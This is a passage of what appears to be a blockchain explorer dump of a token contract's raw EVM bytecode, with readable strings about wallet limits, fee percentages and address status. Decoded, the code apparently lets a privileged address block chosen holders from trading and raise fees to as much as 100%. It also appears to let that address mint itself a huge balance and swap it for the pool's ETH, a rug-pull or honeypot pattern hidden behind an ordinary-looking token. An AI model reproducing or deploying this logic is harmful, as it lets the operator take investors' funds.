50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006143276020836130c5565b9150614332826142f1565b602082019050919050565b600060208201905081810360008301526143568161431a565b9050919050565b7f416674657220746869732074786e20757365722077696c6c206578636565642060008201527f6d61782077616c6c657400000000000000000000000000000000000000000000602082015250565b60006143b9602a836130c5565b91506143c48261435d565b604082019050919050565b600060208201905081810360008301526143e8816143ac565b9050919050565b7f54786e20416d6f756e7420746f6f206869676821000000000000000000000000600082015250565b60006144256014836130c5565b9150614430826143ef565b602082019050919050565b6000602082019050818103600083015261445481614418565b9050919050565b6000614466826131de565b9150614471836131de565b925082820261447f816131de565b91508282048414831517614496576144956135d0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144d7826131de565b91506144e2836131de565b9250826144f2576144f161449d565b5b82820490509291505056fea26469706673582212206c8f32f2368cd615d407bf7d44f7a0dc3d6a7f4c1f2d6eb4ce6a9ea8c6d018bc64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

Deployed Bytecode

0x6080604052600436106102465760003560e01c8063715018a611610139578063b49f93f7116100b6578063e4440a861161007a578063e4440a86146108a6578063ecbe5a2d146108d1578063edd8b64a1461090e578063f1fee6a214610937578063f2fde38b14610960578063f6d1dfe11461098957610246565b8063b49f93f7146107c1578063b5c72e1a146107ea578063d445d19e14610827578063dd62ed3e1461083e578063e1370dd31461087b57610246565b806399b102b5116100fd57806399b102b5146106b6578063a07fc5a2146106f3578063a457c2d71461071e578063a9059cbb1461075b578063b179ce401461079857610246565b8063715018a6146105e357806385ecafd7146105fa5780638da5cb5b146106375780638dd0f4111461066257806395d89b411461068b57610246565b80632df8bca9116101c75780635337cc991161018b5780635337cc99146104da5780635342acb4146105035780636db79437146105405780636dd3d39f1461056957806370a08231146105a657610246565b80632df8bca9146103e0578063313ce5671461040c57806335d162741461043757806339509351146104745780634d474d42146104b157610246565b806318160ddd1161020e57806318160ddd146102fd5780631c499ab0146103285780631f6b29f714610351578063203e727e1461037a57806323b872dd146103a357610246565b806306fdde031461024b578063095ea7b3146102765780630b45260e146102b35780630bc488c5146102ca5780630cdd8436146102d4575b600080fd5b34801561025757600080fd5b506102606109b4565b60405161026d919061314a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613214565b610a46565b6040516102aa919061326f565b60405180910390f35b3480156102bf57600080fd5b506102c8610a62565b005b6102d2610d54565b005b3480156102e057600080fd5b506102fb60048036038101906102f691906132c3565b610e8c565b005b34801561030957600080fd5b50610312610fee565b60405161031f9190613312565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a919061332d565b610ff8565b005b34801561035d57600080fd5b5061037860048036038101906103739190613386565b61102e565b005b34801561038657600080fd5b506103a1600480360381019061039c919061332d565b611147565b005b3480156103af57600080fd5b506103ca60048036038101906103c591906133c6565b61117d565b6040516103d7919061326f565b60405180910390f35b3480156103ec57600080fd5b506103f56111a5565b604051610403929190613419565b60405180910390f35b34801561041857600080fd5b506104216111b6565b60405161042e9190613451565b60405180910390f35b34801561044357600080fd5b5061045e6004803603810190610459919061346c565b6111cd565b60405161046b9190613312565b60405180910390f35b34801561048057600080fd5b5061049b60048036038101906104969190613214565b611362565b6040516104a8919061326f565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d3919061346c565b611392565b005b3480156104e657600080fd5b5061050160048036038101906104fc9190613386565b611402565b005b34801561050f57600080fd5b5061052a6004803603810190610525919061346c565b61151b565b604051610537919061326f565b60405180910390f35b34801561054c57600080fd5b5061056760048036038101906105629190613499565b611571565b005b34801561057557600080fd5b50610590600480360381019061058b919061346c565b611600565b60405161059d919061326f565b60405180910390f35b3480156105b257600080fd5b506105cd60048036038101906105c8919061346c565b611656565b6040516105da9190613312565b60405180910390f35b3480156105ef57600080fd5b506105f861169f565b005b34801561060657600080fd5b50610621600480360381019061061c919061346c565b6116b3565b60405161062e919061326f565b60405180910390f35b34801561064357600080fd5b5061064c6116d3565b60405161065991906134e8565b60405180910390f35b34801561066e57600080fd5b5061068960048036038101906106849190613386565b6116fc565b005b34801561069757600080fd5b506106a0611815565b6040516106ad919061314a565b60405180910390f35b3480156106c257600080fd5b506106dd60048036038101906106d8919061346c565b6118a7565b6040516106ea919061326f565b60405180910390f35b3480156106ff57600080fd5b506107086118fd565b604051610715919061326f565b60405180910390f35b34801561072a57600080fd5b5061074560048036038101906107409190613214565b611914565b604051610752919061326f565b60405180910390f35b34801561076757600080fd5b50610782600480360381019061077d9190613214565b611984565b60405161078f919061326f565b60405180910390f35b3480156107a457600080fd5b506107bf60048036038101906107ba9190613386565b6119a0565b005b3480156107cd57600080fd5b506107e860048036038101906107e39190613503565b611ab9565b005b3480156107f657600080fd5b50610811600480360381019061080c919061346c565b611b02565b60405161081e919061326f565b60405180910390f35b34801561083357600080fd5b5061083c611b6b565b005b34801561084a57600080fd5b5061086560048036038101906108609190613530565b611ba1565b6040516108729190613312565b60405180910390f35b34801561088757600080fd5b50610890611c28565b60405161089d9190613312565b60405180910390f35b3480156108b257600080fd5b506108bb611c32565b6040516108c891906134e8565b60405180910390f35b3480156108dd57600080fd5b506108f860048036038101906108f3919061346c565b611c58565b604051610905919061326f565b60405180910390f35b34801561091a57600080fd5b506109356004803603810190610930919061346c565b611cae565b005b34801561094357600080fd5b5061095e60048036038101906109599190613530565b611d1e565b005b34801561096c57600080fd5b506109876004803603810190610982919061346c565b611f72565b005b34801561099557600080fd5b5061099e611ff5565b6040516109ab9190613312565b60405180910390f35b6060600880546109c39061359f565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef9061359f565b8015610a3c5780601f10610a1157610100808354040283529160200191610a3c565b820191906000526020600020905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b600080339050610a57818585611fff565b600191505092915050565b610a8e33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b6000610a99306111cd565b90506000816dffffffffffffffffffffffffffff8016610ab991906135ff565b9050610ac361223a565b610ad530610ad033611656565b611984565b50610b1330600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611fff565b6060600267ffffffffffffffff811115610b3057610b2f613633565b5b604051908082528060200260200182016040528015610b5e5781602001602082028036833780820191505090505b5090503081600081518110610b7657610b75613662565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4191906136a6565b81600181518110610c5557610c54613662565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042610ce591906136d3565b6040518663ffffffff1660e01b8152600401610d0595949392919061380a565b6000604051808303816000875af1158015610d24573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610d4d9190613992565b5050505050565b610d8033600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b610d9230610d8d33611656565b611984565b50610dc830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dc330611656565b611fff565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610e1130611656565b600080336104b042610e2391906136d3565b6040518863ffffffff1660e01b8152600401610e44969594939291906139db565b60606040518083038185885af1158015610e62573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e879190613a3c565b505050565b610eb833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b60028160ff1610610efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef590613adb565b60405180910390fd5b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990613b47565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b61102433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600f8190555050565b61105a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e390613b47565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61117333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8060118190555050565b60008033905061118e8582856122a2565b61119985858561232e565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561123f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112639190613be9565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131291906136a6565b73ffffffffffffffffffffffffffffffffffffffff161461134357816dffffffffffffffffffffffffffff16611355565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506113878185856113788589611ba1565b61138291906136d3565b611fff565b600191505092915050565b6113be33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61142e33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790613b47565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61159d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b606482111580156115af575060648111155b6115ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e590613cae565b60405180910390fd5b81600b8190555080600c819055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116a7612d0c565b6116b16000612d83565b565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61172833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036117ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b190613b47565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6060600980546118249061359f565b80601f01602080910402602001604051908101604052809291908181526020018280546118509061359f565b801561189d5780601f106118725761010080835404028352916020019161189d565b820191906000526020600020905b81548152906001019060200180831161188057829003601f168201915b5050505050905090565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601360009054906101000a900460ff16905090565b60008033905060006119268286611ba1565b90508381101561196b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196290613d40565b60405180910390fd5b6119788286868403611fff565b60019250505092915050565b60008033905061199581858561232e565b600191505092915050565b6119cc33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5590613b47565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611ae533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80601360006101000a81548160ff02191690831515021790555050565b600080601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614611b61576001611b64565b60005b9050919050565b611b9733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b611b9f61223a565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600f54905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611cda33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611d4a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611de15781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb391906136a6565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b8152600401611eed929190613d60565b602060405180830381865afa158015611f0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2e91906136a6565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611f7a612d0c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe090613dfb565b60405180910390fd5b611ff281612d83565b50565b6000601154905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361206e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206590613e8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490613f1f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516121bb9190613312565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222d90613fb1565b60405180910390fd5b5050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461229991906136d3565b92505081905550565b60006122ae8484611ba1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612328578181101561231a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123119061401d565b60405180910390fd5b6123278484848403611fff565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361239d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612394906140af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361240c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240390614141565b60405180910390fd5b61241583611b02565b15612455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244c906141ad565b60405180910390fd5b612460838383612e47565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156124e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124de9061423f565b60405180910390fd5b601360009054906101000a900460ff16156126385761250584612fe1565b1561259b57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d906142d1565b60405180910390fd5b612637565b6125a483612fe1565b1561263657601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262c906142d1565b60405180910390fd5b5b5b5b6126418461151b565b15801561265457506126528361151b565b155b15612bf05761266284612fe1565b1561289c57600061267583600b54613093565b9050828261268391906135ff565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836126d291906135ff565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461272091906136d3565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661278291906135ff565b60405161278f9190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461280891906136d3565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161288e9190613312565b60405180910390a350612beb565b6128a583612fe1565b15612adf5760006128b883600c54613093565b905082826128c691906135ff565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808361291591906135ff565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461296391906136d3565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866129c591906135ff565b6040516129d29190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a4b91906136d3565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ad19190613312565b60405180910390a350612bea565b8181612aeb91906135ff565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b7d91906136d3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612be19190613312565b60405180910390a35b5b612cfb565b8181612bfc91906135ff565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c8e91906136d3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612cf29190613312565b60405180910390a35b612d068484846130b5565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16612d2b6116d3565b73ffffffffffffffffffffffffffffffffffffffff1614612d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d789061433d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600f5414158015612e605750612e5e82612fe1565b155b8015612e725750612e7082611600565b155b8015612e845750612e8283611600565b155b15612ee257600f5481612e9684611656565b612ea091906136d3565b1115612ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed8906143cf565b60405180910390fd5b5b600060115414612fdc57601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612f905750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fdb57601154811115612fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fd19061443b565b60405180910390fd5b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061308c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846130a3919061445b565b6130ad91906144cc565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130f45780820151818401526020810190506130d9565b60008484015250505050565b6000601f19601f8301169050919050565b600061311c826130ba565b61312681856130c5565b93506131368185602086016130d6565b61313f81613100565b840191505092915050565b600060208201905081810360008301526131648184613111565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006131ab82613180565b9050919050565b6131bb816131a0565b81146131c657600080fd5b50565b6000813590506131d8816131b2565b92915050565b6000819050919050565b6131f1816131de565b81146131fc57600080fd5b50565b60008135905061320e816131e8565b92915050565b6000806040838503121561322b5761322a613176565b5b6000613239858286016131c9565b925050602061324a858286016131ff565b9150509250929050565b60008115159050919050565b61326981613254565b82525050565b60006020820190506132846000830184613260565b92915050565b600060ff82169050919050565b6132a08161328a565b81146132ab57600080fd5b50565b6000813590506132bd81613297565b92915050565b600080604083850312156132da576132d9613176565b5b60006132e8858286016131c9565b92505060206132f9858286016132ae565b9150509250929050565b61330c816131de565b82525050565b60006020820190506133276000830184613303565b92915050565b60006020828403121561334357613342613176565b5b6000613351848285016131ff565b91505092915050565b61336381613254565b811461336e57600080fd5b50565b6000813590506133808161335a565b92915050565b6000806040838503121561339d5761339c613176565b5b60006133ab858286016131c9565b92505060206133bc85828601613371565b9150509250929050565b6000806000606084860312156133df576133de613176565b5b60006133ed868287016131c9565b93505060206133fe868287016131c9565b925050604061340f868287016131ff565b9150509250925092565b600060408201905061342e6000830185613303565b61343b6020830184613303565b9392505050565b61344b8161328a565b82525050565b60006020820190506134666000830184613442565b92915050565b60006020828403121561348257613481613176565b5b6000613490848285016131c9565b91505092915050565b600080604083850312156134b0576134af613176565b5b60006134be858286016131ff565b92505060206134cf858286016131ff565b9150509250929050565b6134e2816131a0565b82525050565b60006020820190506134fd60008301846134d9565b92915050565b60006020828403121561351957613518613176565b5b600061352784828501613371565b91505092915050565b6000806040838503121561354757613546613176565b5b6000613555858286016131c9565b9250506020613566858286016131c9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806135b757607f821691505b6020821081036135ca576135c9613570565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061360a826131de565b9150613615836131de565b925082820390508181111561362d5761362c6135d0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506136a0816131b2565b92915050565b6000602082840312156136bc576136bb613176565b5b60006136ca84828501613691565b91505092915050565b60006136de826131de565b91506136e9836131de565b9250828201905080821115613701576137006135d0565b5b92915050565b6000819050919050565b6000819050919050565b600061373661373161372c84613707565b613711565b6131de565b9050919050565b6137468161371b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613781816131a0565b82525050565b60006137938383613778565b60208301905092915050565b6000602082019050919050565b60006137b78261374c565b6137c18185613757565b93506137cc83613768565b8060005b838110156137fd5781516137e48882613787565b97506137ef8361379f565b9250506001810190506137d0565b5085935050505092915050565b600060a08201905061381f6000830188613303565b61382c602083018761373d565b818103604083015261383e81866137ac565b905061384d60608301856134d9565b61385a6080830184613303565b9695505050505050565b600080fd5b61387282613100565b810181811067ffffffffffffffff8211171561389157613890613633565b5b80604052505050565b60006138a461316c565b90506138b08282613869565b919050565b600067ffffffffffffffff8211156138d0576138cf613633565b5b602082029050602081019050919050565b600080fd5b6000815190506138f5816131e8565b92915050565b600061390e613909846138b5565b61389a565b90508083825260208201905060208402830185811115613931576139306138e1565b5b835b8181101561395a578061394688826138e6565b845260208401935050602081019050613933565b5050509392505050565b600082601f83011261397957613978613864565b5b81516139898482602086016138fb565b91505092915050565b6000602082840312156139a8576139a7613176565b5b600082015167ffffffffffffffff8111156139c6576139c561317b565b5b6139d284828501613964565b91505092915050565b600060c0820190506139f060008301896134d9565b6139fd6020830188613303565b613a0a604083018761373d565b613a17606083018661373d565b613a2460808301856134d9565b613a3160a0830184613303565b979650505050505050565b600080600060608486031215613a5557613a54613176565b5b6000613a63868287016138e6565b9350506020613a74868287016138e6565b9250506040613a85868287016138e6565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b6000613ac56017836130c5565b9150613ad082613a8f565b602082019050919050565b60006020820190508181036000830152613af481613ab8565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b6000613b31601d836130c5565b9150613b3c82613afb565b602082019050919050565b60006020820190508181036000830152613b6081613b24565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b613b8a81613b67565b8114613b9557600080fd5b50565b600081519050613ba781613b81565b92915050565b600063ffffffff82169050919050565b613bc681613bad565b8114613bd157600080fd5b50565b600081519050613be381613bbd565b92915050565b600080600060608486031215613c0257613c01613176565b5b6000613c1086828701613b98565b9350506020613c2186828701613b98565b9250506040613c3286828701613bd4565b9150509250925092565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b6000613c986024836130c5565b9150613ca382613c3c565b604082019050919050565b60006020820190508181036000830152613cc781613c8b565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613d2a6025836130c5565b9150613d3582613cce565b604082019050919050565b60006020820190508181036000830152613d5981613d1d565b9050919050565b6000604082019050613d7560008301856134d9565b613d8260208301846134d9565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613de56026836130c5565b9150613df082613d89565b604082019050919050565b60006020820190508181036000830152613e1481613dd8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613e776024836130c5565b9150613e8282613e1b565b604082019050919050565b60006020820190508181036000830152613ea681613e6a565b9050919050565b